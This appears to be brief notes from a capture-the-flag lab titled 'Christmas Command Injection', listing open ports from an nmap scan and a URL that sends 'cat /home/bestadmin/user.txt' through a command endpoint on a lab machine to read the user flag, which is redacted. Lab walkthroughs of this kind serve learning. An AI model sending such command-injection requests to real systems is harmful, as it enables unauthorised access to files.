Christmas Command Injection

nmap
22
3000
111

http://10.10.142.20:3000/api/cmd/cat%20%2Fhome%2Fbestadmin%2Fuser.txt

Task

• What are the contents of the user.txt file?

  [redacted challenge flag]